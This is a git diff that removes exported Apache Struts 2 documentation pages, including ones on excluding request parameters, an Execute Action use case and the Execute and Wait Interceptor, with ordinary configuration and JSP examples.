-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, exclude_parameters, is available at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-examples</a>.</ [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:form action="save" method="post"&gt;
-&lt;s:textfield key="personBean.firstName" /&gt; 
-&lt;s:textfield key="personBean.lastName" /&gt; 
-&lt;s:textfield key="personBean.email" /&gt;
-&lt;s:textfield key="personBean.phoneNumber" /&gt;
-&lt;s:select key="personBean.sport" list="sports" /&gt;
-&lt;s:radio key="personBean.gender" list="genders" /&gt;
-&lt;s:select key="personBean.residency" list="states" listKey="stateAbbr" listValue="stateName" /&gt;
-&lt;s:checkbox key="personBean.over21" /&gt;
-&lt;s:checkboxlist key="personBean.carModels" list="carModelsAvailable" /&gt;
-&lt;s:submit key="submit" /&gt;
-&lt;/s:form&gt;
-
-</pre>
-</div></div><p>The s:submit tag will create a submit button with a name of submit. Since the Action class probably doesn't have a setSubmit(String name) method you will see the following log messages (only if Struts development mode is set to true):</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Log Messages</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">Dec 31, 2012 3:43:53 PM 
-com.opensymphony.xwork2.util.logging.commons.CommonsLogger warn
-WARNING: Parameter [submit] is not on the excludeParams list of patterns and will be appended to action!
-
-Dec 31, 2012 3:43:53 PM com.opensymphony.xwork2.util.logging.commons.CommonsLogger error
-SEVERE: Developer Notification (set struts.devMode to false to disable this message):
-Unexpected Exception caught setting 'submit' on 'class org.apache.struts.edit.action.EditAction: Error setting expression 'submit' with value ['Save Changes', ]
-
-</pre>
-</div></div><h3 id="ExcludeParameters-ExcludingRequestParametersFromStruts2Processing">Excluding Request Parameters From Struts 2 Processing</h3><div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>If you're not familiar with setting up a custom interceptor stack for your Struts 2 application review <a shape="rect" hre [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;interceptors&gt;
-  &lt;interceptor-stack name="appDefault"&gt;
-    &lt;interceptor-ref name="defaultStack"&gt;
-       &lt;param name="exception.logEnabled"&gt;true&lt;/param&gt;
-       &lt;param name="exception.logLevel"&gt;ERROR&lt;/param&gt;
-       &lt;param name="params.excludeParams"&gt;dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,parameters\...*,submit&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-  &lt;/interceptor-stack&gt;
-&lt;/interceptors&gt;
-		
-&lt;default-interceptor-ref name="appDefault" /&gt;
-
-</pre>
-</div></div><p>The value of node &lt;param name="params.excludeParams"&gt; is a comma-delimited list of regular expressions or simple Strings that identify request parameters that should NOT be processed by the Parameters interceptor. To exclude the submit parameter (which is the name of the submit button in the form code above), I just added submit to the list.</p><p>See the <a shape="rect" class="external-link" href="http://struts.apache.org/2.3.8/docs/struts-defaultxml.html">Basic Sta [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/execute-action.html b/content/docs/execute-action.html
deleted file mode 100644
index d5aeeab..0000000
--- a/content/docs/execute-action.html
+++ /dev/null
@@ -1,173 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Execute Action</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="requirements.html">Requirements</a>&nbsp;&gt;&nbsp;<a href="use-cases.html">Use Cases</a>&nbsp;&gt;&nbsp;<a href="execute-action.html">Execute Action</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Execute Action</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29366">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29366">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29366">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29366">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29366">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29366">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="ExecuteAction-Narrative">Narrative</h2>
-
-<blockquote>
-<p>A client submits a request to the Registration action for a new User account for the username "trillian". The Action object queries the database to see if the user exists, and then obtains a new User object for "trillian". The Action stores the User object in the client's session, and returns "success". The system matches "success" with a result object that presents the "Menu" page. </p></blockquote>
-
-<h2 id="ExecuteAction-Goal">Goal</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Goal </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Execute Action</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Level </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Subfunction </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> (User Goal, Summary,  Subfunction) </p></td></tr><tr><th colspan="1" rowspan="1"  [...]
-
-
-<h2 id="ExecuteAction-MainSuccessScenario(MSS)">Main Success Scenario (MSS)</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Step </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Action </p></th></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> 1 </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Client submits a request for a resource handled by the framework.  </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> 2 </p></th><td colspan="1" [...]
-
-
-<h2 id="ExecuteAction-Extensions">Extensions</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Step </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Branching Action </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> 1a    </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>&#160;</ [...]
-
-
-<hr>
-
-<h2 id="ExecuteAction-PreconditionsandGuarantees">Preconditions and Guarantees</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Preconditions </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Minimal Guarantees </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Success Guarantees </p></th><td colspan="1" rowspan="1" class="c [...]
-
-
-<h2 id="ExecuteAction-StakeholdersandInterests">Stakeholders and Interests</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Stakeholder </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Interest </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr></tbody></table></div>
-
-
-<h2 id="ExecuteAction-Variations">Variations </h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Step </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Variation </p></th></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>&#160;</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr></tbody></table></div>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/execute-and-wait-interceptor.html b/content/docs/execute-and-wait-interceptor.html
deleted file mode 100644
index 3a9cf48..0000000
--- a/content/docs/execute-and-wait-interceptor.html
+++ /dev/null
@@ -1,274 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Execute and Wait Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="execute-and-wait-interceptor.html">Execute and Wait Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Execute and Wait Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14318">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14318">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14318">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14318">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14318">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14318">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-The ExecuteAndWaitInterceptor is great for running long-lived actions in the background while showing the user a nice
-progress meter. This also prevents the HTTP request from timing out when the action takes more than 5 or 10 minutes.
-</p>
-
-<p></p><p> Using this interceptor is pretty straight forward. Assuming that you are including struts-default.xml, this
-interceptor is already configured but is not part of any of the default stacks. Because of the nature of this
-interceptor, it must be the <b>last</b> interceptor in the stack.
-</p>
-
-<p></p><p> This interceptor works on a per-session basis. That means that the same action name (myLongRunningAction, in the
-above example) cannot be run more than once at a time in a given session. On the initial request or any subsequent
-requests (before the action has completed), the <b>wait</b> result will be returned. <b>The wait result is
-responsible for issuing a subsequent request back to the action, giving the effect of a self-updating progress
-meter</b>.
-</p>
-
-<p></p><p> If no "wait" result is found, Struts will automatically generate a wait result on the fly. This result is
-written in FreeMarker and cannot run unless FreeMarker is installed. If you don't wish to deploy with FreeMarker, you
-must provide your own wait result. This is generally a good thing to do anyway, as the default wait page is very
-plain.
-</p>
-
-<p></p><p>Whenever the wait result is returned, the <b>action that is currently running in the background will be placed on
-top of the stack</b>. This allows you to display progress data, such as a count, in the wait page. By making the wait
-page automatically reload the request to the action (which will be short-circuited by the interceptor), you can give
-the appearance of an automatic progress meter.
-</p>
-
-<p></p><p>This interceptor also supports using an initial wait delay. An initial delay is a time in milliseconds we let the
-server wait before the wait page is shown to the user. During the wait this interceptor will wake every 100 millis
-to check if the background process is done premature, thus if the job for some reason doesn't take to long the wait
-page is not shown to the user.
-<br clear="none"> This is useful for e.g. search actions that have a wide span of execution time. Using a delay time of 2000
-millis we ensure the user is presented fast search results immediately and for the slow results a wait page is used.
-</p>
-
-<p></p><p><b>Important</b>: Because the action will be running in a separate thread, you can't use ActionContext because it
-is a ThreadLocal. This means if you need to access, for example, session data, you need to implement SessionAware
-rather than calling ActionContext.getSession().
-</p>
-
-<p></p><p>The thread kicked off by this interceptor will be named in the form <b><u>actionName</u>BackgroundProcess</b>.
-For example, the <i>search</i> action would run as a thread named <i>searchBackgroundProcess</i>.
-</p>
-
-<h2 id="ExecuteandWaitInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>threadPriority (optional) - the priority to assign the thread. Default is <code>Thread.NORM_PRIORITY</code>.</li><li>delay (optional) - an initial delay in millis to wait before the wait page is shown (returning <code>wait</code> as result code). Default is no initial delay.</li><li>delaySleepInterval (optional) - only used with delay. Used for waking up at certain intervals to check if the background process is already done. Default is 100 millis.</li></ul [...]
-
-
-<h2 id="ExecuteandWaitInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-<p></p><p>
-If you wish to make special preparations before and/or after the invocation of the background thread, you can extend
-the BackgroundProcess class and implement the beforeInvocation() and afterInvocation() methods. This may be useful
-for obtaining and releasing resources that the background process will need to execute successfully. To use your
-background process extension, extend ExecuteAndWaitInterceptor and implement the getNewBackgroundProcess() method.
-</p>
-
-<h2 id="ExecuteandWaitInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;completeStack&quot;/&gt;
-    &lt;interceptor-ref name=&quot;execAndWait&quot;/&gt;
-    &lt;result name=&quot;wait&quot;&gt;longRunningAction-wait.jsp&lt;/result&gt;
-    &lt;result name=&quot;success&quot;&gt;longRunningAction-success.jsp&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;%@ taglib prefix=&quot;s&quot; uri=&quot;/struts&quot; %&gt;
-&lt;html&gt;
-  &lt;head&gt;
-    &lt;title&gt;Please wait&lt;/title&gt;
-    &lt;meta http-equiv=&quot;refresh&quot; content=&quot;5;url=&lt;s:url includeParams=&quot;all&quot; /&gt;&quot;/&gt;
-  &lt;/head&gt;
-  &lt;body&gt;
-    Please wait while we process your request.
-    Click &lt;a href=&quot;&lt;s:url includeParams=&quot;all&quot; /&gt;&quot;&gt;&lt;/a&gt; if this page does not reload automatically.
-  &lt;/body&gt;
-&lt;/html&gt;
-&lt;/pre&gt;
-
-&lt;p&gt;&lt;u&gt;Example code2:&lt;/u&gt;&lt;/p&gt;
-&lt;p&gt;
-This example will wait 2 second (2000 millis) before the wait page is shown to the user. Therefore
-if the long process didn&#39;t last long anyway the user isn&#39;t shown a wait page.
-&lt;/p&gt;
-
-&lt;pre&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;completeStack&quot;/&gt;
-    &lt;interceptor-ref name=&quot;execAndWait&quot;&gt;
-        &lt;param name=&quot;delay&quot;&gt;2000&lt;param&gt;
-    &lt;interceptor-ref&gt;
-    &lt;result name=&quot;wait&quot;&gt;longRunningAction-wait.jsp&lt;/result&gt;
-    &lt;result name=&quot;success&quot;&gt;longRunningAction-success.jsp&lt;/result&gt;
-&lt;/action&gt;
-&lt;/pre&gt;
-
-&lt;p&gt;&lt;u&gt;Example code3:&lt;/u&gt;&lt;/p&gt;
-&lt;p&gt;
-This example will wait 1 second (1000 millis) before the wait page is shown to the user.
-And at every 50 millis this interceptor will check if the background process is done, if so
-it will return before the 1 second has elapsed, and the user isn&#39;t shown a wait page.
-&lt;/p&gt;
-
-&lt;pre&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;completeStack&quot;/&gt;
-    &lt;interceptor-ref name=&quot;execAndWait&quot;&gt;
-        &lt;param name=&quot;delay&quot;&gt;1000&lt;param&gt;
-        &lt;param name=&quot;delaySleepInterval&quot;&gt;50&lt;param&gt;
-    &lt;interceptor-ref&gt;
-    &lt;result name=&quot;wait&quot;&gt;longRunningAction-wait.jsp&lt;/result&gt;
-    &lt;result name=&quot;success&quot;&gt;longRunningAction-success.jsp&lt;/result&gt;
-&lt;/action&gt;
-&lt;/pre&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/exposing-framework-objects-to-jstl-with-a-jstl-and-displaytag-example.html b/content/docs/exposing-framework-objects-to-jstl-with-a-jstl-and-displaytag-example.html
deleted file mode 100644
index 8fc50da..0000000
--- a/content/docs/exposing-framework-objects-to-jstl-with-a-jstl-and-displaytag-example.html
+++ /dev/null
@@ -1,198 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Exposing framework objects to JSTL, with a JSTL and DisplayTag Example</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="exposing-framework-objects-to-jstl-with-a-jstl-and-displaytag-example.html">Exposing framework objects to JSTL, with a JSTL and DisplayTag Example</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Exposing framework objects to JSTL, with a JSTL and DisplayTag Example</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14260">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14260">Edit Page</a>
